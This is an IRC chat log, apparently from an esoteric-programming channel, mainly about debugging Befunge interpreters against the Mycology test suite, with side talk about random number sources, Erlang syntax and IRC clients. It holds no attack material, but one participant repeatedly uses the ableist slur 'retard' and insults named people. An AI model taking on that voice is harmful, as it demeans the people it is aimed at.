22:19:55 <Deewiant> And the greatest point is obviously wrong because I grabbed only the first 200 lines of mycology, not all of it :-P
22:19:57 <ais523> fizzie: yep, just determined that myself a different way
22:20:08 <AnMaster> Deewiant, right. so what is the issue. That it hangs right there?
22:20:13 <ais523> /dev/random is basically just /dev/urandom except it blocks when its estimate of the amount of available entropy goes down to 0, IIRC
22:20:16 <Deewiant> AnMaster: Nothing hangs for me?
22:20:30 <AnMaster> Deewiant, well, right after the UNDEF: ) with a negative count reflects and pops 0 times or less than the absolute value of the count
22:20:31 <AnMaster> line
22:20:33 <Deewiant> Maybe the pastebin mangled it... hang on
22:20:34 <AnMaster> it just locks up
22:20:37 <fizzie> ais523: Yes, but additionally the part about using a CRC-like non-strong function for the mixing.
22:20:38 <ais523> so malicious input might make it slightly less than true-random, but it should be crypto-secure in any case
22:20:49 <AnMaster> Deewiant, probably
22:20:57 <Deewiant> AnMaster: Yes, it did. Sigh.
22:21:01 <ais523> fizzie: you don't need a strong function for the /mixing/, so long as you're only combining data, not replacing
22:21:03 <ais523> XOR would be enough
22:21:08 <AnMaster> Deewiant, you have your own website, use it :P
22:21:14 <AnMaster> a temp file there
22:21:16 <alise> in lyx how do you do a single char function name?
22:21:19 <alise> mathrm?
22:21:23 <Deewiant> AnMaster: I'll just host it locally, quicker
22:21:35 <AnMaster> alise, that would work, if you prefer that font
22:21:36 <ais523> alise: for mathematical functions, I just use the default italic-like maths font
22:21:40 <AnMaster> Deewiant, mhm
22:21:50 <ais523> \mathrm is good for things that are supposed to be non-italic
22:21:52 <Deewiant> AnMaster: http://tar.us.to:12345/arst.b98
22:22:06 <alise> yeah but lyx is all ooh semantic
22:22:27 <AnMaster> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 )
22:22:28 <AnMaster> what?
22:22:37 <AnMaster> Deewiant, do you have any storage offset set?
22:22:40 <Deewiant> You got -10 -10? O_o
22:22:44 <AnMaster> Deewiant, that is my first reaction to it
22:22:45 <Deewiant> I got -10 -1 here
22:23:00 <AnMaster> Deewiant, valgrind reports nothing
22:23:05 <AnMaster> and this is on cfunge
22:23:06 <Deewiant> AnMaster: And no, the offset is 0 0
22:23:13 <AnMaster> debug build, probably 64-bit *checks*
22:23:16 <Deewiant> AnMaster: Maybe your build doesn't have bounds shrinking enabled?
22:23:21 <Deewiant> That would cause -10 -10
22:23:24 <AnMaster> cfunge 0.9.0 [+con +trace +exact-bounds +ncurses hardened debug asserts p:64 c:64]
22:23:35 -!- Oranjer has joined.
22:23:36 <AnMaster> it has shrinking bounds enabled
22:23:37 <Deewiant> cfunge 0.9.0 [+con +trace +exact-bounds +ncurses p:64 c:64
22:23:45 <fizzie> ais523: Well, I guess that's true, assuming you can't deduce the state, and it does seem to use a real hash function for producing the actual output bytes.
22:23:58 <AnMaster> Deewiant, and ccbi passes this?
22:24:00 <Deewiant> AnMaster: Oh right; it depends on whether mycotmp*.tmp existed or not :-P
22:24:08 <ais523> fizzie: yep, inability to determine the internal state is the whole basis of all this
22:24:08 <Deewiant> AnMaster: ccbi2 does, yes
22:24:13 <AnMaster> Deewiant, well then, that isn't very reliable
22:24:20 <ais523> and one of the requirements for cryptosecure randomness is that you can't deduce the internal state from the output
22:24:22 <Deewiant> AnMaster: -2 -1 is right in either case
22:24:36 <AnMaster> Deewiant, and efunge fails in the exact same way?
22:24:36 <Deewiant> AnMaster: That's why it says "after spacing top-left corner" ;-)
22:24:43 <ais523> (I know about all this from the whole NetHack RNG-control debacle)
22:24:43 <Deewiant> AnMaster: Yes
22:24:46 <AnMaster> Deewiant, did this one dump?
22:24:51 <ais523> (they use a cryptographically secure RNG for tournaments nowadays)
22:25:05 <Deewiant> AnMaster: The last line of that does the dump yes
22:25:10 <Deewiant> AnMaster: Not the whole thing though
22:25:14 <AnMaster> Deewiant, what part is dumped?
22:25:17 <Deewiant> Maybe I should've looked at that first actually :-P
22:25:23 <Deewiant> AnMaster: 20x20 starting at -10 -10
22:25:33 * Deewiant does a 2000x2000
22:25:38 <AnMaster> Deewiant, there seems to be stuff in there. Not sure what it actually contains
22:26:05 <AnMaster> Deewiant, I really don't have time to debug this until next weekend. Have exam on monday and wensday (spelling?)
22:26:16 <Deewiant> AnMaster: Wednesday >_<
22:26:16 <AnMaster> exams*
22:26:26 <AnMaster> Deewiant, yeah, I always typo it
22:26:36 <AnMaster> onsdag is so much easier to remember
22:27:07 <AnMaster> Deewiant, btw that dump contains a form feed I see
22:27:11 <AnMaster> or something
22:27:13 <AnMaster> not sure
22:27:20 <Deewiant> It shouldn't
22:27:25 <AnMaster> Deewiant, try less on it
22:27:32 <AnMaster> Deewiant, isn't <FF> formfeed?
22:27:37 <AnMaster> hm maybe it is hex
22:27:40 <Deewiant> No, it's 0xFF
22:27:47 <Deewiant> Which is correct
22:27:59 <AnMaster> and an ^A ^@ <F6> and <FE>
22:28:05 <Deewiant> There's a cell with value -1 at (-2,-1)
22:28:11 <Deewiant> Which is that 0xFF
22:28:21 <Deewiant> And in the 2000x2000 dump there's nothing to the west or north of that
22:28:30 <AnMaster> Deewiant, how comes mycoedge and such worked without flaw (correcting for offset error). What are you doing differently here?
22:28:31 <Deewiant> And yet cfunge says the minimum point is -10,-1
22:28:41 <Deewiant> AnMaster: Nothing AFAIK
22:28:49 <Deewiant> I haven't looked at the mycoedge file at all
22:28:54 <AnMaster> Deewiant, does efunge say the same thing?
22:28:58 <Deewiant> Yes, same thing
22:29:17 <AnMaster> Deewiant, efunge might be easier to debug. Plus it actually scans the entire funge space for set cells to calc the bounds
22:29:31 <AnMaster> Deewiant, how are you overwriting them btw?
22:29:33 <Deewiant> AnMaster: The dump from cfunge and CCBI is identical
22:29:35 <AnMaster> plain p?
22:29:41 <Deewiant> Except for a newline at EOF
22:29:44 <Deewiant> Yes, just p
22:29:56 <Deewiant> 11g::' \22gp
22:30:17 <fizzie> ais523: As an aside, you can get the entropy estimate out by reading /proc/sys/kernel/random/entropy_avail, it seems.
22:30:20 <Deewiant> ((1,1) being the X coordinate and (2,2) the Y)
22:30:32 <AnMaster> hm
22:30:51 <AnMaster> could be an off by one error when marking bounds as inexact I guess
22:30:52 <ais523> fizzie: I knew that already (well, not the exact path, but I knew it was in /proc/sys somewhere, and had a good idea of where to find it)
22:30:59 <AnMaster> since that is about the only part of the algorithm they share
22:31:06 <ais523> IIRC there's also a file in there somewhere which gives you UUIDs when you read it
22:31:09 <AnMaster> lets see what happens if always marking in inexact in efunge
22:31:19 <AnMaster> (efunge's algorithm is slower but easier to debug)
22:31:20 <fizzie> ais523: Yes, it's "next" to that one (same dir).
22:32:25 <alise> 02:59:07 <TehZ> If you are bored, you could take a look at lolcode
22:32:25 <alise> 02:59:11 <TehZ> its funny
22:32:25 <alise> aaaaaaaaaa
22:32:43 <alise> 03:16:34 <lereah_> Use mIRC
22:32:43 <AnMaster> okay so that is it
22:32:44 <alise> 03:16:37 <lereah_> Or something
22:32:44 <alise> 03:16:53 <TehZ> I didnt see that one in google chrome plugin page
22:32:44 <alise> ffffff
22:32:59 <AnMaster> when I force the bounds to always be considered inexact the issue does not show up
22:33:02 <fizzie> AnMaster: Weird that Deewiant didn't mention this, but en:Wednesday is fi:keskiviikko, where fi:viikko == en:week, and fi:keski- is a prefix somewhat like en:mid-; center, middle; so the Finnish word for Wednesday is "mid-week". That's also pretty easy to remember.
22:33:15 <AnMaster> heh
22:33:24 <Deewiant> fizzie: I was concentrating on the more important issue here, sorry ;-)
22:33:33 <pineapple> fizzie: sounds very much like the german for wednesday
22:33:46 <Deewiant> pineapple: Yes, it's pretty much the same thing.
22:34:02 * pikhq starts writing a copying garbage collector for the purpose of writing a "proper" Lazy K interpreter.
22:34:04 <Deewiant> AnMaster: There are some differences between cfunge/efunge in the o dump btw: at least efunge doesn't output the null byte, and then some other things that I can't see but diff claims they differ
22:34:05 <pikhq> Why? Cause.
22:34:14 <AnMaster> Deewiant, what null byte?
22:34:14 <fizzie> It's a bit strange that none of the other weekdays have names like that.
22:34:15 <ais523> pikhq: can't you refcount Lazy K?
22:34:21 <Deewiant> AnMaster: The null byte in the source of mycology
22:34:22 <pikhq> ais523: No.
22:34:27 <ais523> hmm, really?
22:34:29 <AnMaster> Deewiant, well, should it output it?
22:34:31 <pikhq> Cyclic data structures are quite possible.
22:34:36 <AnMaster> Deewiant, I have no clue why it wouldn't be doing it
22:34:38 <pikhq> Can you refcount lambda calculus?
22:34:39 <ais523> I thought most combinator langs had no way to produce cyclic data structures
22:34:45 <Deewiant> AnMaster: Well, it should output /something/ there :-P
22:34:46 <ais523> Unlambda doesn't, IIRC
22:34:50 <pikhq> Lazy K is lazy.
22:34:53 <AnMaster> Deewiant, I blame the runtime for it. Or something.
22:34:54 <ais523> oh, ofc
22:35:03 <Deewiant> AnMaster: Alright :-)
22:35:20 <pikhq> Fixed pointer combinator = cyclic data structure. ;)
22:35:22 <AnMaster> Deewiant, anyway I know now the issue in efunge at least is in the code checking if an update might cause bounds to be inexact
22:35:29 <ais523> I mean, I vaguely knew it was lazy, but for some reason didn't notice that mattered
22:35:45 <Deewiant> AnMaster: Okay, good; just confirming that I'm not wrong ;-)
22:35:46 <AnMaster> Deewiant, is this not correct:
22:35:52 <Deewiant> So I did manage to coax a BAD out of cfunge, ha
22:35:53 <pikhq> Anyways. I'm writing this *mostly* because I've never written a garbage collector before.
22:35:53 <AnMaster> X =:= MinX; X =:= MaxX; Y =:= MinY; Y =:= MaxY ->
22:35:53 <AnMaster> put(fspacebounds_exact, false),
22:36:02 <AnMaster> Deewiant, can you tell me about that?
22:36:05 <Deewiant> AnMaster: For what
22:36:18 <Deewiant> AnMaster: I mean, context for this: when putting a space?
22:36:24 <AnMaster> Deewiant, if X and Y are position of space being written, and Min/Max being bounds yes
22:36:48 <Deewiant> AnMaster: And fspacebounds_exact being false means that you then find the new bounds?
22:36:50 <AnMaster> Deewiant, ; in this case means "or"
22:37:05 <AnMaster> Deewiant, that being false means that if y asks for it, I will recalculate it
22:37:17 <Deewiant> Yeah, okay
22:37:21 <Deewiant> Hmm
22:37:30 <AnMaster> Deewiant, I won't bother for wrapping
22:37:35 <Deewiant> It seems right to me
22:37:41 <AnMaster> Deewiant, well it can't be
22:37:42 <AnMaster> :/
22:37:43 <Deewiant> Can't think of why it wouldn't work
22:38:14 <AnMaster> Deewiant, well, it *doesn't*
22:38:46 <fizzie> That's curious, the bot got a "403: Forbidden" from Twitter.
22:38:48 <Deewiant> AnMaster: Are you sure all the values are correct to begin with?
22:38:56 <AnMaster> fizzie, mhm maybe they dislike bots
22:39:07 <Deewiant> AnMaster: MinX, MaxX, MinY, MaxY I mean; and even X,Y I suppose although that's less likely
22:39:34 <AnMaster> Deewiant, well, pretty sure
22:39:47 <AnMaster> plus if I swapped them it would have caused issues elsewhere already I think
22:40:03 <Deewiant> My best guess is that one of them is wrong somehow
22:40:07 <AnMaster> Deewiant, I suspect it must be an off by one error
22:40:13 <Deewiant> Something like that
22:40:15 <AnMaster> like, bounds not being that exactly
22:40:24 <AnMaster> as in, they are one larger or whatever
22:40:28 <AnMaster> but that would be silly
22:40:51 <AnMaster> Deewiant, since it is basically only updated in one function, and I see nothing wrong there
22:41:09 <AnMaster> Deewiant, did the bounds only grow to -10, -10? Or did they grow even further?
22:41:18 <fizzie> AnMaster: They have quite a lot of bots already, though. There's e.g. big_ben_CLOCK, which auto-tweets something like "BONG BONG BONG BONG BONG BONG" every hour, with the correct number of BONGs of course.
22:41:32 <AnMaster> fizzie, hm okay
22:41:54 <fizzie> Incidentally, that one has 47,157 followers; fungot has 6. Still quite some way to go there!
22:42:08 <Deewiant> AnMaster: If it did the o testing i.e. you had free mycotmp, to -10,-10; otherwise to -3,-2
22:42:27 <AnMaster> hrrm
22:42:51 <AnMaster> Deewiant, the code for recalculating bounds must be correct, since if I force it to be used all the time, then it works
22:43:19 <Deewiant> Right
22:43:39 <AnMaster> the code for growing the bounds. well if they grow to one too large that would cause mycology to complain in the y test already wouldn't it?
22:43:52 <AnMaster> (or one too small if it comes to that)
22:43:53 <alise> big_ben_clock is wonderful
22:44:25 <Deewiant> AnMaster: The y test is before the -10 -10 bounds; but yes, cfunge and efunge both put the correct -3,-2 there
22:44:41 <AnMaster> Deewiant, lets see what happens if we always set bounds to inexact on writing space
22:45:07 <AnMaster> okay *that* doesn't work
22:45:11 <AnMaster> which was completely unexpected
22:45:24 <Deewiant> heh
22:45:46 <Deewiant> You sure you're looking at the code for p and not g? ;-P
22:45:59 <AnMaster> Deewiant, I'm looking at the function update_bounds
22:46:15 <AnMaster> which is called from set()
22:49:20 <AnMaster> hrrm
22:49:33 <AnMaster> Deewiant, are you sure you just write *space* with p?
22:49:42 <AnMaster> not something that with o ends up as it
22:49:47 <Deewiant> 11g::' \22gp
22:49:58 <Deewiant> Not space + 256, no :-P
22:50:02 <AnMaster> Deewiant, what is the 11g for?
22:50:11 <Deewiant> (1,1) is the X-coordinate, (2,2) the Y
22:50:18 <AnMaster> mhm
22:50:23 <AnMaster> Deewiant, why are you storing them there
22:50:30 <AnMaster> Deewiant, befunge isn't naturally PIC
22:50:39 <Deewiant> Where should I store them?
22:50:59 <Deewiant> The stack is impossible with more than one value to keep around
22:51:05 <Deewiant> Without FRTH or equivalent extensions
22:52:03 <AnMaster> mhm
22:52:08 <AnMaster> Deewiant, hard coded :P
22:52:15 <Deewiant> Doesn't matter
22:52:28 <Deewiant> I use the (0,0) as scratch space all over
22:52:57 <AnMaster> okay what the hell
22:53:10 <AnMaster> now it still fails with the same issue as before
22:53:13 <Deewiant> It's not like I'll be going to (0,0) again to execute something, so it's okay :-P
22:53:16 <AnMaster> even when setting it to false always
22:53:26 <Deewiant> Whee heisenbug
22:53:30 <Deewiant> Have fun ;-)
22:53:32 <AnMaster> Deewiant, yes
22:53:47 <AnMaster> [{FirstX,FirstY}|Coordinates] = ets:select(Fungespace, [{{'$1','$2'},[{'=/=','$2',$\s}],['$1']}]),
22:53:47 <AnMaster> NewBounds = find_extremes(Coordinates, FirstX, FirstY, FirstX, FirstY),
22:53:53 <AnMaster> now to figure out why that is wrong
22:53:54 <Deewiant> Whee readable code
22:53:56 <fizzie> Aw-dangity, my hostmask is wrongly.
22:53:59 <Deewiant> Bloody erlang and its syntax
22:54:00 -!- fizzie has quit (Quit: jumpin' jumpin').
22:54:00 <AnMaster> Deewiant, it is readable
22:54:02 <AnMaster> Deewiant, if you know it
22:54:03 -!- fizzie has joined.
22:54:18 <Deewiant> I find erlang's syntax abhorrent :-P
22:54:20 <AnMaster> Deewiant, think of it as a DSL like SQL
22:54:23 <alise> Actually, Erlang's syntax is shit.
22:54:24 <AnMaster> that second part
22:54:26 <Deewiant> I can read it, it's not a problem
22:54:33 <alise> Take Prolog - then misinterpret its syntax wildly.
22:54:33 <Deewiant> Doesn't make it less ugly
22:54:41 <Deewiant> Something like that ;-)
22:54:44 -!- fungot has joined.
22:54:51 <fax> the people who made erlang know a bit of prolog :P
22:55:11 <AnMaster> more than a bit, but they reused parts of it's syntax
22:55:18 <AnMaster> for different purposes
22:55:18 <alise> no just a bit
22:55:22 <AnMaster> I fail to see what is wrong with that
22:55:23 <alise> if they knew more than a bit they wouldn't make it so stupid
22:55:25 <AnMaster> alise, agreed
22:55:34 <AnMaster> they reused more than a bit
22:55:36 <alise> what
22:55:39 <AnMaster> but they didn't make it stupid
22:55:44 <alise> no they knew no more than just a bit
22:55:53 <alise> you don't even know prolog, so... shaddup
22:56:14 <AnMaster> and yes "[{{'$1','$2'},[{'=/=','$2',$\s}],['$1']}]" *is* horrible
22:56:18 <AnMaster> I agree about that
22:56:26 <AnMaster> but then that could use some newlines and spacing
22:56:29 <AnMaster> plus it is a DSL
22:56:29 <Deewiant> A bit of spacing around commas would help there IMO
22:56:31 <AnMaster> like SQL
22:56:46 <AnMaster> Deewiant, so complain about my coding style then rather than erlang
22:56:46 <alise> no it's not
22:56:49 <alise> it's just strings
22:56:59 <Deewiant> AnMaster: I'd rather complain about both
22:57:26 <AnMaster> [{FirstX,FirstY}|Coordinates] = ets:select(Fungespace, [{{'$1','$2'},
22:57:26 <AnMaster> [{'=/=','$2',$\s}],
22:57:26 <AnMaster> ['$1']}]),
22:57:29 <AnMaster> so what about that
22:57:36 <AnMaster> could use a newline earlier
22:58:09 <alise> no that's worse.
22:58:17 <AnMaster> alise, no it isn't
22:58:29 <alise> yes, it is
22:58:30 <Deewiant> Seems better to me but it could still be better
22:58:38 <AnMaster> Deewiant, oh?
22:58:40 <AnMaster> well anyway
22:59:04 <AnMaster> it seems correct to me, thus find_extremes must be wrong
22:59:40 <AnMaster> can't spot anything wrong with that either
22:59:47 * AnMaster tests it on some test data
23:01:21 <AnMaster> 3> efunge_fungespace:find_extremes([{0,0},{1,1},{2,2}], 1, 4, 1, 4).
23:01:21 <AnMaster> {{0,0},{2,4}}
23:01:23 <AnMaster> seems correct
23:03:55 <AnMaster> Deewiant, is there anything at -10,186 for you?
23:04:05 <AnMaster> according to my dump from the last bounds recalculation there is
23:04:43 <AnMaster> Deewiant, is that (whatever it is) supposed to be there?
23:05:19 <Deewiant> Hmm; yes, it is
23:06:05 <Deewiant> Bah, looks like it's my bug and not yours
23:06:10 <Deewiant> Let me verify
23:06:23 <alise> 12:48:10 <lament> how far you got multiplied by how much you suck
23:06:23 <alise> :D
23:07:24 <Deewiant> AnMaster: :-S yeah, my bad
23:07:41 <Deewiant> Completely forgot about that stupid string-wrapped-around-the-void test
23:07:58 <Deewiant> Which puts a " at -10,186 indeed
23:08:05 <AnMaster> Deewiant, so that is the cause of all this?
23:08:14 <Deewiant> Yes; sorry about the mess
23:08:18 <AnMaster> Deewiant, *growl*
23:08:26 <AnMaster> Deewiant, so how did ccbi pass it?
23:08:35 <Deewiant> By being buggy, obviously
23:08:37 <AnMaster> ah
23:08:57 <AnMaster> Deewiant, I had to dump the entire set of non-space coordinate pairs to a file to find out
23:09:04 <AnMaster> that is one huge file and slow to search
23:09:10 <Deewiant> Heh
23:09:15 <AnMaster> Deewiant, kate didn't like it all being on one line either
23:09:18 <Deewiant> At least I didn't give you all of mycology ;-)
23:09:19 <Deewiant> :-D
23:09:23 <Deewiant> Why'd you print it on one line
23:09:31 -!- Sgeo_ has joined.
23:09:36 <AnMaster> Deewiant, because it ran out of my scrollback otherwise
23:09:42 <AnMaster> and I dumped it to stdout
23:09:49 <AnMaster> too lazy to do to file directly
23:10:05 <AnMaster> anyway, it would have been... 20374 lines
23:10:09 <AnMaster> if dumped one per line
23:10:11 <AnMaster> (normal way)
23:10:34 <AnMaster> Deewiant, the file goes like:
23:10:35 <AnMaster> [{28,166},{63,165},{46,116},{9,95},{52,85},{16,154},{132,147},{112,145},{113,119},{36,114},{16,41},{123,8},{138,174},{8,171},
23:10:36 <Deewiant> You could've dumped it to stdout then used sort | head -n1 :-P
23:10:37 <AnMaster> and so on
23:10:54 <AnMaster> Deewiant, well I would have had to grep for the output from it
23:11:01 <AnMaster> as opposed to mycology
23:11:19 <Deewiant> Dump to stderr
23:11:25 <AnMaster> meh
23:11:45 <AnMaster> Deewiant, tell me if cfunge still is buggy
23:11:52 <AnMaster> also that BAD: no you didn't mange it *yet*
23:11:53 <AnMaster> :P
23:12:08 <AnMaster> I'm somewhat worried about that heisenbug I saw though
23:12:14 <AnMaster> probably some error when debugging
23:12:27 -!- Sgeo has quit (Ping timeout: 265 seconds).
23:12:37 <Deewiant> If it only happened once forget about it, it /probably/ won't happen again ;-P
23:12:50 <AnMaster> Deewiant, true
23:13:07 <AnMaster> Deewiant, it happened with a specific compile rather
23:13:27 <AnMaster> so I probably introduced some other bug when debugging
23:13:41 <AnMaster> (reverted the changes now anyway
23:14:26 <AnMaster> Deewiant, why would that " be put at -10,186 ?
23:14:30 <AnMaster> for that test
23:14:32 <AnMaster> I don't get it
23:15:07 <Deewiant> So that the X coordinate is minimal
23:15:30 <AnMaster> Deewiant, how does this explain the -10,-10 btw as opposed to -10,-1 or whatever it was
23:15:54 <AnMaster> Deewiant, is that another bug?
23:16:04 <Deewiant> -10,-10 is used by the o test
23:16:27 <AnMaster> Deewiant, and something in column -10 not properly cleared?
23:17:07 <Deewiant> Oh, right, hmm
23:17:07 <Deewiant> Maybe
23:17:15 <AnMaster> I presume so, and I'm not going to debug it until you are 100% certain that it isn't your bug
23:17:20 <AnMaster> not after the last one
23:17:50 <AnMaster> Deewiant, I just wonder what strange algorithm ccbi is using that makes it behave like that
23:18:08 <Deewiant> Presumably some off-by-one type thing
23:18:14 <AnMaster> probably
23:18:32 <AnMaster> Deewiant, off by -8/-9 rather :P
23:19:12 <Deewiant> Well, off by one could cause it to miss that -10,186 cell
23:19:15 <AnMaster> Deewiant, I like cons lists because of this, lot harder to make off by one list
23:19:19 <Deewiant> Since without that, -2 -1 is indeed correct
23:19:37 <AnMaster> Deewiant, then why the -10 in y as well
23:19:48 <AnMaster> as I said I'm not going to spend time debugging that now
23:20:05 <Deewiant> AnMaster: The -10,186 is only added after the y test
23:20:23 <AnMaster> no I mean:
23:20:28 <AnMaster> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 )
23:20:30 <AnMaster> instead of:
23:20:32 <AnMaster> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -1 )
23:20:41 <AnMaster> Deewiant, that ^
23:20:52 <AnMaster> Deewiant, I think that might be an output error
23:20:54 <AnMaster> in mycology
23:21:05 <Deewiant> Eh? It just outputs the two cells pushed by y
23:21:32 <Deewiant> Like you said it's probably a bug when spacing the corner
23:21:46 <AnMaster> right
23:22:02 -!- Libster has joined.
23:22:09 <Libster> hello best friends
23:22:12 <AnMaster> Deewiant, you said -2,-1 was correct however. anyway I can't tell you were since I removed the dump code, and too lazy to re-add it
23:22:16 <AnMaster> just search for it yourself
23:22:23 -!- kar8nga has quit (Remote host closed the connection).
23:22:33 <Deewiant> -2,-1 is correct
23:22:39 <Sgeo_> http://www.mywot.com/en/scorecard/my.barackobama.com
23:22:41 <Deewiant> But with the o test, it might not be after all
23:22:49 <AnMaster> Libster, hi I guess.
23:22:56 <Libster> hi how do i troll here
23:23:00 <AnMaster> ^_^
23:23:05 <Libster> ^_^
23:23:07 <AnMaster> we rather that you didn't
23:23:10 <AnMaster> troll that is
23:23:11 <Libster> o
23:23:18 <Libster> i guess i'll go to a different channel then bye
23:23:20 -!- Libster has left (?).
23:23:26 <AnMaster> how very strange
23:23:26 <Sgeo_> Why would anyone bother learning Brainfuck?
23:23:33 <Sgeo_> ^^troll?
23:23:38 <AnMaster> hah
23:23:50 <AnMaster> but that was one very confusing visit
23:23:57 <AnMaster> alise missed it completely
23:23:59 <AnMaster> it seems
23:24:56 <AnMaster> Deewiant, anyway, tell me if you find any actual bugs
23:26:50 <alise> ignore Libster you idiots
23:27:23 -!- charlesq__ has quit (Quit: Saliendo).
23:27:29 <AnMaster> alise, a rather polite troll however :P
23:27:49 -!- lament has joined.
23:28:35 <alise> AnMaster: no he's just a retard from #not-math who followed fax here
23:28:45 <alise> he shuts up if you don't talk to him
23:28:45 <fax> ^
23:28:53 <lament> who?
23:28:56 <alise> libster
23:29:14 <fax> not just libster
23:30:01 <Sgeo_> not-math?
23:30:11 <alise> a channel.
23:30:13 <alise> fax: base3 gave up
23:30:35 <Sgeo_> Oooh, there's a mathoverflow.com
23:30:59 <fax> Sgeo mathoverflow is for reseach level math though
23:31:10 <Sgeo_> Yeah, just saw that in the FAQ
23:31:11 <AnMaster> alise, not-math?
23:31:17 <AnMaster> I know the math one
23:31:20 <AnMaster> but not not-math
23:31:25 <alise> It's not mathematics.
23:31:33 <AnMaster> alise, that's a broad area
23:31:37 <alise> mathoverflow is nice.
23:32:38 <alise> even though i understand like 0.0001% of the qs there
23:32:42 <Sgeo_> Stack Exchange is proprietary?
23:33:13 <alise> duh
23:33:14 * pikhq tries to convince himself to write more of this code.
23:33:17 <alise> it's atwood and spolsky
23:33:25 <alise> the two biggest retards ever to exist in programming
23:33:46 * pikhq is not doing too well at that.
23:33:55 <alise> "How to write IFELSE as mathematic equation?"
23:33:58 <alise> kill me
23:34:22 <pikhq> alise: ... *What?*
23:34:23 <fax> ???
23:34:41 <alise> http://mathoverflow.net/questions/18696/how-to-write-if-else-as-mathematic-equation
23:34:43 <alise> some retard being idiotic
23:34:47 <AnMaster> <Sgeo_> Stack Exchange is proprietary? <-- I read that as "stock" first
23:34:54 <AnMaster> and went like "??"
23:34:55 <pikhq> So much dumb.
23:36:36 * Sgeo_ once thought about problems like that >.>
23:36:56 <fax> lol it must be trolling
23:37:08 <AnMaster> fax, so it must
23:37:10 <Sgeo_> I can easily imagine asking that sort of question
23:37:18 <AnMaster> Sgeo_, well, you are Sgeo_...
23:37:19 <myndzi> |
23:37:19 <myndzi> |\
23:37:25 <AnMaster> what?
23:37:31 <alise> AnMaster is so horrible to sgeo \o/
23:37:31 <myndzi> |
23:37:31 <myndzi> /|
23:37:44 <AnMaster> alise, so are you too a lot of the time :P
23:37:46 <Deewiant> _.??
23:37:51 <Deewiant> Oh, o_
23:37:57 <AnMaster> oh I see
23:38:01 <AnMaster> well it didn't this time
23:38:08 <AnMaster> o_,
23:38:13 <AnMaster> o_...
23:38:14 <myndzi> |
23:38:14 <myndzi> /|
23:38:17 -!- Sgeo_ has changed nick to Sgeo.
23:38:18 <AnMaster> okay that did it
23:38:23 <AnMaster> but it isn't lined up at all
23:38:24 <AnMaster> to me
23:38:25 <Deewiant> o_.
23:38:26 <myndzi> |
23:38:26 <myndzi> |\
23:38:33 <AnMaster> Deewiant, not lined up here at all
23:38:42 <Deewiant> Lined up with the _, not the o
23:38:43 <AnMaster> pointless bot IMO
23:38:49 <alise> it's a person not a bot
23:38:53 <AnMaster> Deewiant, that lines up one space after the .
23:38:58 <AnMaster> alise, with a script
23:38:58 <AnMaster> sure
23:38:59 <Deewiant> alise: A script, a bot, same difference
23:38:59 <alise> it's lined up in mirc style names
23:39:01 <AnMaster> no difference
23:39:02 <alise> which most people use
23:39:06 <alise> xchat is just stupid like that
23:39:06 <alise> \o/
23:39:09 <Deewiant> "mirc style names"?
23:39:10 <AnMaster> alise, "most" in here too?
23:39:12 <alise> Deewiant: not right-aligned
23:39:25 <fizzie> Also ircii-style, irssi-style, I'd say.
23:39:32 <Deewiant> The \o/ was aligned properly at the o, but the o_. wasn't
23:39:32 <myndzi> | |
23:39:32 <myndzi> /< >\
23:39:33 * Sgeo didn't even realize you were messing with my
23:39:35 <Deewiant> And still isn't
23:39:41 <Deewiant> Unless it's meant to be at the _
23:39:42 <Sgeo> myndzi,
23:39:52 <alise> it is meant to be at the _
23:39:54 <alise> who knows why
23:39:57 <alise> o_o
23:40:00 <alise> o_.
23:40:03 <alise> stupid bot
23:40:07 <alise> _ is the mouth so
23:40:09 <alise> that's the middle
23:40:12 <alise> poop \_/
23:40:17 <Deewiant> :-P
23:40:19 -!- oerjan has joined.
23:40:31 <fizzie> \_/ looks quite headless.
23:40:52 <pikhq> Quite.
23:40:57 <Sgeo> "Since jsMath does take some time to render mathematical markup (for some people it's quite slow), please consider using basic HTML and HTML symbols for simple formulas whenever possible,"
23:41:19 <Sgeo> Can't they render it on the server and serve an im.. oh, actually, just because MediaWiki does that, doesn't mean it's a good idea
23:41:36 <Sgeo> *can do
23:42:05 <Sgeo> I'd imagine though that some people might have JS disabled but still be able to view images
23:42:23 <Deewiant> http://i.imgur.com/hxxYn.jpg
23:42:33 <AnMaster> Deewiant, I use right aligned, so it fails to line up here
23:42:52 <Deewiant> What client?
23:43:02 <AnMaster> Deewiant, xchat atm
23:43:22 <Deewiant> Right, I don't know of any other that does that
23:43:40 <AnMaster> Deewiant, well my erc setup does too
23:44:00 <AnMaster> but was using xchat because of dcc (which erc doesn't support)
23:44:04 <Deewiant> I'd set up irssi to do it if I knew how
23:44:17 <Sgeo> If I were younger, I'd mindboggle at SQL Injection
23:44:48 <fizzie> Deewiant: LimeChat, at least some scheme of it.
23:44:53 <Sgeo> If someone showed me, without demonstrating, some SQL Injection, I'd say it's sily. Data obviously should not become code like that. It would take incredible stupidity
23:45:22 <AnMaster> Deewiant, irssi can do it up to a fixed column
23:45:24 <fizzie> Deewiant: Also I guess some IM clients that do IRC too.
23:45:25 <lament> Sgeo: it does.
23:45:34 <AnMaster> Deewiant, where it overflows to the right
23:45:39 <ais523> hmm, people here probably have a good idea: which company would you all recommend I buy domain names from, and why?
23:45:39 <Sgeo> But it's common stupidity.
23:45:41 <AnMaster> Deewiant, nice and long nicks are unusual
23:45:47 <AnMaster> Deewiant, some format code
23:45:50 <AnMaster> forgot details
23:46:15 <fizzie> AnMaster: I think we discussed the details here not long ago.
23:46:17 <oerjan> <fax> "Why does the square of a sum of numbers equal the sum of each individual number cubed?"
23:46:23 -!- FireFly has quit (Quit: Leaving).
23:46:26 <Deewiant> AnMaster: That's a bit crappy though
23:46:35 <oerjan> i bet it's somehow really obvious if you have four-dimensional intuition :D
23:46:36 <fizzie> I also remember linking to some existing irssi themes that do it.
23:46:42 -!- FireFly has joined.
23:46:48 <Deewiant> I guess it's the best one can hope for with a console UI though
23:47:20 <fizzie> Deewiant: You could just truncate all nicks to, say, three characters.
23:47:23 <oerjan> like that intuition for sums of numbers = n(n+1)/2 using a triangle
23:47:27 <AnMaster> Deewiant, well yes
23:47:34 <fax> I LOVE TRIANGLE NUMBERS!!!!
23:47:38 <AnMaster> fizzie, oh? I remember doing this years ago
23:47:39 <Deewiant> fizzie: Or one
23:47:41 <Deewiant> Or none
23:47:44 <AnMaster> when I was trying out irssi
23:47:50 <fax> T(n) = finite integral n
23:47:50 <AnMaster> didn't like it
23:47:55 <Deewiant> I'd just be all ": foo" when I want to say foo to somebody
